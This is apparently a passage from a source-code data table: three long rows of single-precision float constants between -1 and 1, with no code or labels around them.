0.240572863896085f, -0.597973444252616f, 0.520707363092687f, -0.891796539359942f, -0.0707113684027092f, 0.730270237241197f, -0.202809887987925f, 0.712903235793333f, 0.815918058519912f, -0.619284883130692f, 0.620432327799984f, 0.215462902206797f, 0.913706499476201f, -0.284266999538807f, 0.137669223817851f, -0.320599930994154f, -0.279885143029947f, 0.0759863610502050f, 0.362519848337183f, 0.0897184432777523f, 0.730407126330006f, -0.715664883515070f, -0.964294244830797f, 0.337668374417089f, 0.563780948124681f, 0.534272089774928f, 0.670003495251274f, 0.976582736706313f, -0.576021162432801f, 0.318863740329612f, 0.374838616807691f, 0.437628782275460f, 0.629331465907672f, 0.800673318445353f, -0.964950925853698f, -0.115288102568929f, 0.581179798077059f, 0.892103220665649f, -0.224009831257430f, -0.486848659265476f, 0.768601825625188f, -0.478996958061453f, 0.987216084861456f, -0.00828256241998737f, 0.443388113322642f, -0.209225960405120f, 0.784392408672073f, -0.821157008960409f, 0.169088259578466f, 0.188648958653604f, 0.796321723736402f, 0.804915614204973f, -0.947435972579018f, -0.320368366702004f, -0.0857043727442930f, -0.229914128505395f, -0.802013870592427f, 0.497444368231634f, 0.791040716463223f, 0.586369970276563f, 0.871236424247704f, 0.770091868124107f, -0.458396647683594f, 0.871149873224889f, 0.753895449519495f, 0.295832468734546f, 0.574616471536691f, 0.384408809311353f, -0.978021020306570f, 0.0397482936794495f, 0.628095200786834f, -0.968059492217325f, -0.404306711220928f, 0.659301030460980f, -0.345766174675525f, -0.0517956907600681f, -0.640289082986305f, 0.965202733073502f, 0.909703156044274f, -0.744545066259015f, -0.676836498528477f, 0.0507393165493961f, 0.394673166210436f, 0.250366706754377f, -0.287411651947684f, -0.521760552601739f, 0.214487178617345f, -0.922260536787078f, -0.970217444063294f, -0.632705652784150f, -0.720016326822300f, -0.506393579710801f, 0.774172771450182f, 0.891546338793249f, 0.559706491124446f, -0.513481979527671f, 0.735727350850420f, -0.207760672132971f, 0.956672164225499f, -0.516696999265124f, -0.846015525317730f, -0.199370940530009f, 0.927580907007946f, 0.669786891276299f, -0.208316500739886f, -0.349932032863852f, 0.382722440637189f, -0.455635180187178f, -0.573852668753046f, 0.237990995216907f, -0.00210628303929439f, 0.846035951941252f, 0.921932267818374f, 0.141873820779935f, 0.871317167610738f, -0.632607355185838f, -0.565801401210940f, -0.959881482283947f, -0.732559764685905f, -0.655277252471118f, 0.136770193226314f, 0.206392768880907f, 0.0946932052352707f, -0.147722827344946f, 0.142504821799194f, -0.891443939735724f, -0.660161817562772f, -0.918683225740157f, 0.524851053279394f, -0.841532325411647f, -0.662931925252737f, 0.450018807591706f, 0.157794014139767f, -0.562525486647545f, 0.604051451992330f, 0.859220943805127f, 0.943321402026900f, 0.511188518123118f, -0.332990520726740f, 0.904709059147998f, -0.336911302156504f, -0.0329301811082998f, 0.307263624236174f, -0.640655394434152f, 0.791676792853669f, 0.450137270831791f, 0.746000232170803f, -0.915436267533878f, 0.976514418439799f, 0.828073391112522f, 0.990695018409237f, 0.419713963781614f, -0.286897378037841f, 0.111527193084439f, -0.956913449095442f, 0.263769440437253f, 0.534739246489713f, -0.918314908283506f, 0.680501951418845f, -0.0258330390798596f, -0.696521999550769f, 0.274590593565720f, -0.821334538131451f, 0.104139627465949f, -0.790104923997319f, 0.399265830301725f, 0.118854169469537f, 0.309552488812324f, -0.961100729890863f, -0.665645274594184f, -0.125767140532335f, 0.377154316156289f, -0.971986633153292f, -0.148225730575294f, -0.801072242848910f, 0.735673216754228f, 0.247753694178141f, 0.759093842520115f, -0.529946694334253f, 0.594235069164038f, -0.801015868726278f, 0.141962211231124f, 0.135473683510959f, -0.0431660672944612f, -0.437176231417910f, 0.467008031415084f, 0.324675317141816f, 0.122578305547357f, -0.0351479470228342f, -0.437236315511244f, -0.822621846670407f, 0.989461679354308f, -0.242059902390237f, 0.800837521050356f, -0.387832478851607f, 0.316362161826139f, 0.602440060427024f, 0.890992007298149f, 0.319686042477150f, 0.930326885903916f, -0.170779817104763f, -0.437602177375177f, 0.835764105962134f, 0.522922752459604f, 0.295156847627349f, -0.857646277751538f, -0.451421990712551f, 0.752856133268497f, -0.826193868550830f, -0.906961130052697f, 0.118621494342013f, -0.627099634988204f, 0.163256363060383f, -0.719362770410877f, -0.576563943780491f, -0.369939711177846f, -0.294180430088591f, 0.868430622614485f, 0.945955651201780f, -0.879259966782947f, 0.376142233233261f, -0.549019623646418f, -0.366403875933169f, -0.631308623984507f, -0.398270064613022f, 0.631780765950599f, -0.497821177556814f, -0.0754938097555216f, 0.358298259390762f, -0.438971283619577f, -0.835962846436280f, 0.771544885338102f, 0.132031497593111f, 0.0964144932127649f, -0.171144812197942f, 0.734241841669664f, 0.773828279651661f, 0.591442573315395f, 0.449840299498767f, -0.249196666141921f, 0.910274822633449f, -0.623687862912847f, -0.954398427932048f, 0.700975370671540f, -0.128268698036002f, 0.723971772247224f, -0.239872317271662f, 0.599101633280873f, 0.323504979356466f, 0.726076237951951f, 0.775013638477775f, -0.736157118505210f, 0.681129332563739f, -0.989456914597076f, -0.860559243921100f, -0.652547050354339f, 0.227533741410917f, 0.263244425371628f, -0.412800042549063f, -0.774547399227093f, 0.959749220773555f, 0.0285018454625012f, 0.0260964660594436f, -0.817249773797516f, -0.275510098931589f, -0.957071090655421f, 0.755874233806472f, 0.0601247360044190f, 0.155148678178749f, 0.744458452388040f, 0.206143083045583f, 0.405575258734775f, 0.591273066531951f, -0.286358679634110f, 0.168522523380964f, -0.0740663582251186f, 0.991796969736415f, 0.00304472789286958f, 0.0955103281360055f, 0.595292305224677f, -0.633460800851610f, 0.969720344590438f, -0.788939516987962f, -0.690852963213444f, -0.751849610482179f, -0.454105756229298f, 0.527652178438853f, -0.249156091787771f, -0.395486634371019f, -0.586329259469701f, 0.774216673365643f, 0.000796185912973479f, 0.753872935709907f, 0.691883261316931f, -0.599798140130743f, 0.140718954973018f, 0.400016581571111f, -0.412934563119652f, 0.782683275869451f, -0.837415681080234f, 0.503344297140354f, 0.443222186121185f, -0.869067764953740f, 0.891507832007671f, -0.258782538717313f, -0.592111951047753f, 0.542828422857983f, -0.959476625230936f, -0.373353196174649f, 0.558975637763876f, 0.848608638566440f, -0.861701716955403f, -0.937645215971517f, 0.0456695238513540f, -0.643462752057364f, -0.194887894642735f, 0.576940690214110f, -0.889414400002951f, -0.120401270393403f, 0.581976128201341f, -0.914549817300516f, 0.619675229253819f, -0.446355411157033f, -0.686510097388917f, 0.199022704414501f, 0.0679083509214176f, 0.939286059873160f, 0.919854436895475f, -0.921420499961796f, -0.933865152326639f, -0.173428453947994f, 0.0481843697148709f, 0.282408667923603f, 0.411093542307595f, 0.332739798472214f, -0.539048264159821f, -0.704491312083244f, -0.502163632960363f, 0.955228344617550f, 0.620064399129425f, -0.470222569036376f, 0.754614931250763f, -0.616308595262807f, -0.914574682979899f, 0.624066330640082f, 0.836911269770582f, 0.913639510454430f, 0.653228461676548f, -0.269928008555249f, 0.313006679186127f, 0.984676487220296f, -0.492012769698267f, 0.956868299674771f, 0.291679581317590f, 0.0391808383867289f, 0.572884371819903f, 0.0424011452585180f, 0.955486550514640f, -0.402317209279260f, -0.606465037288902f, 0.547296561663929f, -0.262634118959448f, -0.555413611714328f, -0.328781770154915f, 0.145794994289916f, 0.141260540582646f, -0.451655981927315f, 0.305553535897825f, 0.828724940454557f, 0.263943455052409f, -0.609183422737396f, 0.691170220321907f, -0.372701931956834f, 0.750237424665146f, -0.249353280856890f, 0.379870697565802f, 0.385751069018950f, -0.515117494253264f, 0.716937491491901f, 0.343749563024118f, -0.462962268225808f, -0.542579750084113f, 0.865163879545508f, 0.348358741505572f, -0.309602240547849f, -0.0504864877295679f, -0.822856269672862f, 0.199343960697129f, -0.790668167630170f, -0.0910655952543342f, -0.0243531696455832f, 0.832501734319368f, 0.604933598167068f, 0.899053047900036f, 0.270668041381131f, 0.523691409964688f, -0.0841567002292820f, -0.844392287920523f, -0.910987838261586f, -0.470654231510287f, -0.103828495683496f, 0.253788695977573f, -0.103172947809401f, -0.339896741661867f, -0.447251997825083f, 0.217200476817515f, -0.474840886373359f, 0.227876267254650f, -0.851351819181938f, -0.902078585170911f, 0.445464427415683f, -0.842484493463611f, -0.141606736723087f, 0.104224619207891f, -0.554900879859470f, 0.818556374444811f, -0.832710463532413f, -0.284760316465868f, 0.697962734672817f, 0.235137001970259f, 0.538298155374871f, -0.598477541924834f, -0.833959821954974f, -0.164556670763502f, -0.443902305525605f, 0.484290717235912f, 0.319356252041167f, 0.0834544406255109f, -0.839174383593280f, -0.514784811627172f, 0.466424623987191f, 0.597641402168886f, -0.344706573843316f, 0.346954604803744f, 0.150560726232471f, -0.963838773301094f, -0.210406119881130f, 0.740751216241446f, -0.519896828058978f, 0.882277568799242f, 0.982734995306564f, -0.691486807580351f, -0.120653164608028f, 0.263039860106709f, -0.472131671311566f, -0.469155525952548f, -0.562705921604020f, -0.737502946123759f, 0.151863404645485,
-0.367233093688652f, 0.149585386378220f, -0.152980596399920f, 0.572826412281344f, -0.498718037086228f, -0.0794332639424211f, 0.659760386972575f, -0.574814983564964f, 0.451329484188896f, 0.473066930128670f, -0.135151886005125f, 0.379571405476121f, -0.308712078323501f, -0.136843563834117f, 0.395667583713552f, 0.196238140324408f, 0.588147058383512f, 0.770505301611929f, -0.865188840370228f, 0.266437694165002f, -0.428134513764013f, 0.661967260527446f, -0.752421375452379f, -0.556389852423621f, 0.424944298468302f, -0.480554454112605f, 0.916159659428765f, -0.112147362457396f, 0.363475545209813f, 0.698805683596358f, -0.862382341730295f, -0.489415523853276f, 0.453056404353730f, -0.606183761884457f, -0.00869682692408680f, -0.288739722701460f, 0.487988005841341f, 0.566870040344668f, 0.0894575138005909f, 0.887832293799319f, -0.0981274237649674f, -0.279935090781560f, 0.506891141525948f, 0.952901245338457f, 0.458002767525373f, -0.569410776125351f, 0.849518291873527f, -0.585020953514368f, 0.676037258640625f, 0.299076264841081f, 0.911385441491479f, -0.954959555659035f, -0.681285607891366f, 0.631368118385947f, 0.522268523899537f, 0.900701101674748f, -0.647701850365577f, 0.567960815808216f, -0.138958982219446f, 0.267024801687456f, -0.975771109955874f, 0.314682157086949f, -0.378801381286130f, 0.665990927256163f, -0.573674360032848f, -0.860450785684384f, 0.516581474078532f, -0.190844183471714f, -0.451971355445856f, -0.808113003973650f, 0.860446168028895f, 0.377778958059242f, 0.126949039950121f, -0.892203650250330f, 0.572503460980517f, 0.975224974978800f, -0.202312370945465f, 0.500665599343084f, -0.0510413720986291f, 0.353231752436633f, -0.805555931906752f, -0.199761377956955f, -0.829487282239605f, 0.0282459088867508f, 0.814545057118991f, 0.557652277921578f, 0.613951716518862f, -0.678811366342345f, 0.896500288318877f, -0.627622562398925f, 0.802545092571611f, 0.211382709497062f, -0.979380222642662f, 0.826784411456488f, -0.670689878657734f, 0.788878029765924f, 0.137070906151783f, 0.901907287859132f, -0.526217367070263f, -0.545043827128876f, 0.494756249972086f, 0.236657948774128f, 0.156603327087660f, 0.516397244064118f, -0.325837179590292f, 0.460683385171580f, -0.196022953760504f, -0.441996357332195f, -0.808932369852494f, 0.291980108741838f, -0.833583979826152f, 0.365574438479475f, -0.797139524158001f, -0.0649288183732912f, -0.000696491493834994f, 0.100125393693922f, 0.598035350719377f, -0.312548404453564f, 0.0414605409182345f, -0.675913083156432f, 0.236245026389435f, 0.550464243484224f, 0.193366907856750f, -0.903654015709839f, -0.00993172527377806f, 0.0180900754210873f, 0.880678290110106f, 0.166539520562349f, -0.984509466189118f, 0.810283124477894f, -0.925371921448173f, 0.193528916069728f, -0.748644561903135f, 0.534508666819454f, 0.364436869280188f, -0.386979667637943f, 0.427958998441480f, 0.362750270039032f, 0.420886957715891f, 0.0300301961707390f, -0.655220626875711f, 0.0504522662127427f, 0.472640818703213f, -0.417745816013639f, 0.0689992794158720f, 0.461232479061866f, -0.483517586427718f, -0.411463769964024f, 0.622740736364726f, 0.659687134578680f, 0.243900134982579f, -0.684356227282321f, -0.688699031115733f, -0.316032121634021f, -0.644296362948831f, -0.236133265458216f, 0.880259454885881f, -0.956880609581177f, 0.737775899964131f, -0.529059297472703f, 0.794119601436042f, -0.375698158660466f, 0.493447663117292f, -0.752511119115434f, -0.941143365329844f, 0.610101048864035f, 0.253791011658991f, -0.369994602049336f, -0.697364270085742f, -0.681360550250048f, -0.571943442128960f, -0.749697324128684f, 0.611997629275096f, 0.892727938106141f, -0.440225399106758f, 0.00196047981855352f, 0.951252158369648f, 0.0351885308766962f, -0.471806546113710f, -0.657231535594911f, -0.0873481442406481f, -0.0341288006282565f, 0.579184398564974f, -0.224334624306026f, -0.298557652719061f, -0.509401519638379f, 0.188853505083675f, -0.321619146497229f, -0.613159956450671f, 0.570042044631281f, 0.699213203307007f, 0.537439231469861f, 0.529440733283839f, -0.744527226912905f, 0.362949055807175f, 0.529758698714545f, -0.114804719889245f, 0.991089489396930f, -0.186716454683287f, -0.218189173574106f, -0.0493780858124198f, -0.928812411399224f, -0.101855573638590f, 0.454268528366586f, 0.617591620012079f, -0.197519518988231f, 0.0973277590468935f, -0.185672509894105f, 0.649922648337967f, -0.896862900376972f, 0.594999589349510f, -0.746978997769556f, 0.590642952628647f, 0.935109901616311f, -0.293310684054096f, 0.783281817912060f, -0.189898897214222f, 0.414859016240278f, -0.0858574647662298f, 0.0810260863380805f, -0.633024441577653f, 0.248442861097829f, 0.984586601784679f, 0.982811638387854f, 0.547456083836220f, 0.476239638753291f, -0.897709902882279f, -0.208045489357872f, -0.860637131636973f, -0.496740558564284f, -0.944185351410090f, 0.157610983944341f, 0.975214099838643f, 0.550265718083095f, -0.630360326400067f, 0.672420341653334f, -0.897139264107564f, -0.670556423663785f, 0.298764071000339f, -0.310465384759529f, -0.978153640586955f, 0.189785151994709f, 0.929291975296760f, 0.758271912876084f, 0.806829662560108f, -0.472787451147715f, -0.802032434276146f, 0.455809631085663f, 0.985520713417984f, 0.739637167649794f, 0.311705106454777f, -0.120539152808323f, 0.977785717545631f, -0.848554870988208f, -0.281179241544089f, 0.931102239520177f, -0.255243432382956f, -0.284952242030900f, -0.189341152192864f, 0.647573166562597f, -0.474203015584843f, -0.545915610099538f, 0.672696420688916f, -0.239274489717776f, 0.956544960216021f, -0.0858024073600807f, -0.758223415922611f, -0.00817763648068581f, -0.500893489164054f, -0.669386983409311f, -0.344450617815217f, -0.728051392792875f, 0.804121117816188f, 0.00718436691280910f, 0.195237363230272f, -0.472485206728796f, 0.642070241911164f, -0.272384993247314f, -0.731715323915071f, -0.791266589031733f, 0.0339783427570857f, 0.0696513783219659f, -0.894169486972683f, 0.00234016305501483f, -0.0403382685361653f, -0.943600572111266f, -0.788181603936192f, 0.851406365407377f, -0.100015982664501f, 0.145502229793638f, -0.528736628076536f, -0.0313760382570432f, -0.662221611141088f, -0.885722031379862f, -0.744257140212482f, 0.524976313116033f, 0.186092035304635f, 0.181669793648209f, -0.606482674165339f, 0.849303544554227f, 0.226118051135263f, -0.690025550727719f, -0.256543384397548f, -0.207714017766381f, -0.447913202664626f, 0.375270273897879f, -0.884312586292038f, -0.0838720085819762f, 0.969898436757285f, -0.736808033249456f, 0.668875150485586f, -0.599937439969920f, 0.470077288925414f, 0.903135367105719f, -0.895619185450694f, -0.637694108244489f, 0.572669535020987f, -0.696211470281632f, -0.820577518545193f, 0.937364674938455f, 0.422458818039761f, -0.593964370461091f, -0.586264791612426f, 0.0282373486927521f, 0.298051147134121f, 0.592825359583763f, 0.716195674857467f, -0.684008410968338f, -0.167523841045924f, -0.370794208549223f, 0.768054740581884f, 0.997835641681024f, -0.366262133888883f, -0.523114034556271f, -0.457946740456489f, -0.530941146838744f, 0.298744841822404f, 0.390761228562591f, 0.0871171594445448f, 0.764002674223649f, 0.233966808661423f, -0.116573523634048f, 0.426118986433559f, -0.255934695328716f, 0.302314199650152f, -0.254971729124577f, -0.330865677738578f, -0.0840307537517577f, -0.711910586170446f, 0.622585361690409f, 0.367595248366733f, 0.422102667722561f, 0.269580206097961f, 0.707083822001774f, 0.625367208198523f, -0.729594790471199f, 0.708679674727951f, 0.00355767003560614f, 0.379158300246371f, -0.688791438249760f, 0.261637457245975f, 0.704008781391790f, -0.917586017594177f, 0.886443038824615f, -0.923559496787343f, 0.360365726214756f, 0.547058288460181f, -0.279853192856989f, -0.996331953899586f, -0.323735921605962f, -0.618788277975037f, 0.314597206161166f, 0.106380963133907f, -0.235044228453968f, 0.0406899091091886f, 0.687339428801573f, 0.344837805924860f, 0.123214914005620f, -0.735264225932133f, 0.0396243248944774f, 0.270602083588730f, -0.316104623194235f, 0.201800731173529f, -0.348987679395254f, 0.994312100135549f, -0.986073454140000f, -0.787571177818193f, 0.508460947811657f, -0.443663972776222f, 0.800303477136838f, 0.712158443474503f, 0.958364684407633f, -0.0512343510942759f, -0.391095518504938f, -0.291911155637644f, 0.721770656984705f, -0.163541232110535f, 0.0366644501980513f, 0.700853097239887f, -0.508089885354834f, -0.375072588159867f, 0.161585369564288f, 0.686325557438797f, -0.113188612544717f, 0.859354598908873f, -0.723198679696606f, 0.398879124170303f, 0.139357627051752f, 0.484780500073663f, -0.0437501438537016f, -0.868783676783105f, -0.147865612288567f, -0.116480069295514f, -0.986846049950927f, -0.859405305954576f, -0.631359938031082f, -0.0310065270390489f, -0.288382201791710f, -0.500960878568203f, -0.805633068309090f, -0.837604329816134f, 0.0325253228618525f, -0.538953832190091f, 0.913844038280417f, 0.681967460199437f, -0.656775429658090f, 0.922492558885196f, -0.689527254640680f, 0.688263898240070f, -0.225450858342925f, 0.0287239965989763f, -0.407744573364816f, -0.477326718671529f, -0.780374037627418f, 0.500400378743065f, -0.532646941279704f, 0.999679272201893f, 0.136003002234441f, -0.811267727922649f, -0.585019862511894f, 0.125465493193590f, 0.203160759437510f, -0.101322607820275f, 0.543784310894398f, 0.630139383695983f, 0.775322422120693f, 0.229262447827729f, -0.656821799421711f, 0.795940998463793f, 0.263281283116320f, -0.377237794697631f, -0.714267543277316f, -0.161924029976839f, 0.804294011825499f, -0.500488029613262f, 0.716655543045374f, -0.709565530287520f, -0.260746944768714f, -0.496886497176178f, -0.896154699339640f, -0.891352204187934f, 0.0589172685048254f, -0.952496908556348f, -0.543314015084183f, 0.0724005345282401f, -0.132089156895576f, 0.694937364018361f, -0.884509342587775f, -0.944587795707932f, 0.346949362800262f, -0.587900264454839f, 0.531217960795664f, 0.404240620498887f, 0.182769547944683f, 0.804826966991636f, 0.601398794220406f, -0.767933817870427f, -0.329693990599177f, -0.880648189418561f, 0.0370834298504716f, -0.405270662847564f, -0.551993194163015f, 0.357335885219159f, -0.442910616174561f, -0.978355051725551f, -0.638907517841606f, 0.266841057307734f, 0.778698832906031f, -0.967180516636130f, -0.772940622039654f, -0.268706136695081f, -0.326082261974967f, 0.0386785617389067f, 0.576293286973562f, 0.446884000380730f, 0.396703264915684f, -0.718633572608705f, 0.586041202195072f, -0.791039546767268f, 0.556638124682382,
0.728711593864679f, -0.576551104247230f, 0.690227524206044f, 0.0451432373341216f, -0.0569690667958747f, 0.877674150343795f, -0.268602876493051f, -0.770720641807978f, 0.630269600593677f, 0.801702094819180f, 0.177071915997341f, -0.0764831522886398f, -0.476930347674815f, 0.0196833210809626f, -0.566188434097295f, 0.309890567123613f, -0.642682312350471f, -0.645839718540077f, -0.985031719881713f, 0.153028235575708f, -0.446724738384881f, -0.616280949001367f, -0.306418078463084f, 0.313048512921978f, 0.944732667717825f, -0.292311689238647f, 0.263616032352334f, 0.776777395064071f, -0.529182830991988f, -0.418996105801001f, 0.286960890623362f, 0.588336822287104f, 0.268219370126612f, -0.696727535489037f, 0.806089151192541f, 0.0396168299208206f, -0.613570658239778f, 0.358002315998429f, -0.0576147175733950f, -0.859664908314368f, 0.930793190364908f, -0.108955403960031f, 0.640347446939098f, 0.0301817512477458f, 0.508435547839785f, -0.774928250619894f, 0.254548271045827f, -0.192551571812315f, -0.401867317012389f, -0.136220787532581f, -0.480363308055205f, 0.146599399729624f, 0.225767301672040f, -0.207158678688912f, 0.763491487133281f, 0.161192803873192f, -0.574968151683314f, -0.454043408746924f, 0.427131132989065f, 0.170648543751820f, 0.0690597676805780f, 0.0360172652133248f, -0.244429817416531f, -0.973014074152018f, -0.172642279134011f, -0.798684796670922f, -0.622626145444778f, -0.743408670602069f, -0.316057396003030f, 0.908608689971065f, 0.948356574904685f, 0.573858539226522f, 0.457065605245418f, -0.246203048690671f, -0.750525340546383f, 0.612971646035183f, 0.951528788403619f, -0.529776510809815f, 0.0886901849846271f, -0.0254136796699882f, 0.978897595553096f, 0.293893753097695f, 0.620217642132267f, 0.862352989549627f, -0.379040515436326f, 0.790157871471479f, 0.147151952442201f, 0.688271487774812f, -0.897847532497188f, -0.0355337105008888f, -0.850253422176695f, -0.0354384862653523f, -0.625796807949394f, 0.851730076897135f, 0.294773618291289f, 0.834287219330433f, 0.0758749738551283f, 0.912613321307355f, -0.326698079590551f, -0.844748577890143f, -0.685263599922107f, -0.197029963909655f, 0.591416614029013f, -0.130921826828109f, -0.524292687689084f, 0.356220524225632f, -0.150091552835503f, -0.935232109847821f, -0.302103008478127f, -0.998557516519010f, -0.477012685701094f, -0.882343341754284f, 0.210797034143964f, -0.963566378978947f, -0.855600913755685f, -0.790231379847513f, -0.625235937382084f, 0.106405105589857f, -0.760544427202586f, 0.0103124858505332f, -0.610157345750845f, 0.968354521575116f, 0.602472069136318f, -0.216458111191680f, 0.935180184275450f, -0.369261245032360f, -0.289325139062185f, -0.772389696964545f, -0.345513639348744f, 0.135539262008296f, -0.747409495863324f, -0.849724942811800f, -0.739393030129744f, -0.0301380087411172f, 0.373808817820448f, 0.760444548005323f, -0.365739960428504f, 0.121859476627292f, -0.719257541809299f, -0.136914676340304f, -0.178479405732130f, -0.336676444507223f, -0.795056125367297f, -0.0872862684496700f, -0.950510559362909f, -0.395266512078238f, 0.636773305385949f, -0.150667208767723f, 0.534401287220298f, -0.349371424663528f, -0.784729313810243f, -0.0510904599006878f, -0.938702345462904f, 0.616929636007953f, -0.228578318449040f, 0.239101663221907f, 0.0390879233281141f, -0.294705782740043f, -0.847928516841798f, -0.0480433695823821f, 0.487351505367245f, -0.820736333448301f, 0.128692585024021f, -0.305133215914817f, 0.344900079505924f, -0.764316168982242f, 0.717529584295197f, 0.655848670831377f, 0.479849611138232f, -0.107624564628078f, -0.345816374073252f, 0.0822414215758816f, -0.0120870567528208f, 0.475870901669481f, -0.00594923432583361f, 0.869227669945672f, -0.262862047504512f, 0.272430399676396f, -0.734262318791166f, 0.980593493214018f, 0.110413869658192f, -0.732486564250777f, 0.470756873196238f, 0.897133387901917f, -0.151953973158384f, -0.591296220619271f, -0.113167158942796f, -0.103020520738423f, 0.220384226627647f, -0.0570027879342681f, 0.0923157145066511f, -0.523010309215342f, 0.385053964060568f, -0.223938668105458f, -0.0566497019068211f, 0.636390081595965f, -0.753651530578004f, -0.765450358896516f, 0.790370075460245f, 0.622949415286967f, -0.0947634056426396f, 0.122381201893998f, -0.138573523511105f, -0.544298107235542f, 0.535416341314523f, -0.341107295330707f, 0.266262786345860f, 0.620108481133049f, 0.190424987800150f, 0.978559599202704f, -0.925772919482004f, -0.300038300695816f, 0.963372836978511f, -0.501235224357981f, 0.828375446308031f, -0.595716120481773f, -0.889271354193173f, -0.389843123593065f, 0.659433696092409f, -0.633476165557619f, -0.708607689555741f, -0.737738480460783f, 0.985245299432648f, 0.976853985813928f, -0.863072444190232f, -0.785830171723126f, 0.309433061520758f, 0.166813366328975f, -0.552916412621405f, 0.0385101740167735f, 0.445866961855263f, 0.222557362424800f, 0.0710515871571971f, -0.368563489700928f, 0.317406114361191f, 0.326902000037272f, 0.868261309598320f, -0.897838476369198f, 0.664364291232529f, -0.373333343843574f, -0.599809263387549f, -0.411236387818613f, -0.118186587264933f, 0.544960929851182f, 0.395925813072269f, 0.337332244255533f, -0.0195528742963547f, -0.580383437020279f, 0.0779554182143842f, -0.902635825594202f, -0.821554429188969f, 0.869996816042779f, 0.646142135585380f, -0.0824693320525758f, 0.643317857725100f, -0.903892480205129f, -0.457595546004975f, 0.540461917564665f, -0.467530238695992f, 0.107497588388074f, -0.122360487746121f, -0.276968072230331f, -0.436413500733568f, 0.0719555518906898f, -0.794937479672675f, -0.641344733876686f, -0.934734152781945f, -0.0610463967348016f, -0.302623058375597f, 0.281116298309257f, 0.557459622053789f, -0.350054779110337f, 0.681853624031498f, -0.0454067482892435f, -0.897204174835461f, 0.0289327275291300f, 0.664312739864751f, -0.368814604980581f, -0.576946854776660f, -0.187886132141311f, 0.424385580259236f, 0.257994303715228f, -0.567650112011742f, -0.0453371545575014f, -0.362909825264387f, 0.450095578912812f, -0.713870209574945f, -0.956583539581944f, -0.969891699048729f, -0.417755773448598f, -0.230738535348142f, -0.153353095644968f, 0.539368458440622f, 0.591116036659417f, 0.779095541288385f, -0.578525766017613f, -0.587777137316663f, -0.301051260910212f, -0.319655538885669f, -0.343495369437935f, 0.908167583226333f, 0.764220052027033f, 0.0536418758245909f, -0.0529753241803754f, 0.249066042857931f, -0.840152142252005f, -0.529971459254312f, -0.449462194610696f, 0.467144819001113f, -0.500103828192601f, -0.758390449663076f, 0.369740436821770f, 0.189153926151852f, -0.188283227959439f, -0.427563759945909f, -0.186773725840825f, -0.00989853573399446f, -0.783648829817413f, -0.626450875837851f, -0.328015817185970f, 0.760383401930071f, -0.00804531008117837f, -0.982799468341000f, 0.392730506677802f, 0.117799138097530f, 0.351088974844522f, -0.259750164530173f, 0.776495358243216f, -0.703059519879109f, -0.362866233240751f, -0.421345310205860f, -0.818968876330675f, 0.936887497269786f, 0.713300632813635f, 0.916608801523944f, -0.147818975792564f, 0.317064988534009f, 0.885779227314381f, -0.897706599297367f, 0.685423132064732f, 0.907830438936990f, 0.0636614655685575f, -0.423018627861747f, 0.411565657893159f, 0.911060408474647f, -0.617833142759668f, -0.709543522964145f, -0.817633731247023f, -0.252433983274424f, 0.160456393103956f, -0.160765428576997f, -0.622001061437904f, -0.470257555319641f, 0.790643274059634f, -0.648181378655916f, -0.828694900506363f, -0.0234091767546987f, -0.562865077760768f, 0.369299949506391f, -0.423850142805423f, 0.520699811923658f, -0.877662359466779f, -0.739844704434180f, 0.300520939787139f, 0.0655718600121620f, 0.970843358712180f, -0.634231195336845f, 0.324880041395596f, -0.479089635857354f, -0.196422753715449f, 0.568762754402869f, 0.699215376070842f, 0.445741923102597f, 0.679868900756090f, 0.107609859752086f, -0.980983474461865f, -0.788419140653730f, 0.0696289436185713f, 0.00330944186568516f, 0.392265626672398f, 0.803469542460994f, 0.131029913648810f, -0.845408454497170f, -0.754797811352229f, -0.824208086798235f, 0.510072775586974f, -0.809491727769575f, -0.0228491196350333f, 0.920014947791232f, 0.441066319826495f, 0.969846842038360f, -0.199024726691046f, 0.886564290041856f, 0.203997575245743f, 0.481547443573126f, -0.637742489331117f, 0.0664642070998316f, 0.109187062068770f, -0.952676759642045f, 0.309247049771982f, 0.880534651306060f, -0.269363005485603f, 0.280012695899358f, 0.853031642671923f, -0.216236966392235f, 0.903180305900435f, 0.837949615815047f, 0.748563816043584f, 0.266735542018788f, -0.685176037557414f, 0.505893787666761f, 0.977721983069541f, -0.667151469253569f, -0.451774081267849f, -0.385755850727233f, 0.681037251596535f, 0.550130384863457f, 0.704080312734731f, 0.519624533199220f, 0.789651392050294f, 0.176325856625025f, 0.684011432098839f, -0.469125761119035f, -0.841814129063957f, -0.901473334652527f, -0.117747872709914f, -0.608533033968273f, 0.199709646080986f, -0.349430401438670f, -0.435162733168206f, -0.368150014673779f, 0.699084004342174f, -0.446068942643995f, 0.197420740774886f, 0.524893584115327f, 0.706475758890142f, 0.912020785879679f, -0.820472223153770f, -0.334742316079635f, -0.851724976994477f, -0.702164662784812f, -0.649654462810552f, 0.411435475616403f, -0.0438368033650360f, 0.799231452421757f, 0.713371883779316f, 0.252437083518609f, -0.685658163265283f, 0.0734649179831324f, -0.400549431226783f, -0.415602545578540f, 0.233864615718965f, 0.828846528739923f, 0.606577491175688f, -0.266016048272811f, -0.619106744484090f, -0.690853262778644f, -0.503499724631377f, -0.409761822901473f, 0.0576293548519007f, 0.551582021066584f, 0.132631452787255f, -0.838228405334512f, -0.107475742619267f, -0.875306852866273f, -0.184700469068763f, -0.317074087896838f, -0.580912620700556f, 0.453916157844897f, 0.690470988649940f, 0.712835197480083f, 0.314786689622726f, 0.759835688452120f, -0.671090442836235f, -0.408277610289776f, -0.815988422173708f, 0.227854929660384f, -0.0482646895577266f, 0.968141192561708f, 0.373896367655818f, 0.820435826598941f, 0.817746838197885f, -0.0970819110331989f, 0.679170154451559f, -0.577986561676471f, -0.0523570914231941f, -0.776930151133931f, -0.560456597170701f, 0.927747720961181f, 0.0350177837302503f, 0.844938034137843f, 0.00849044473190053f, 0.325089161670337f, -0.851825175889265f, 0.835251667623832f, -0.266397917890485f, 0.108463887056499f, -0.817868888235156f, 0.590399913800720f, 0.699274619715208,
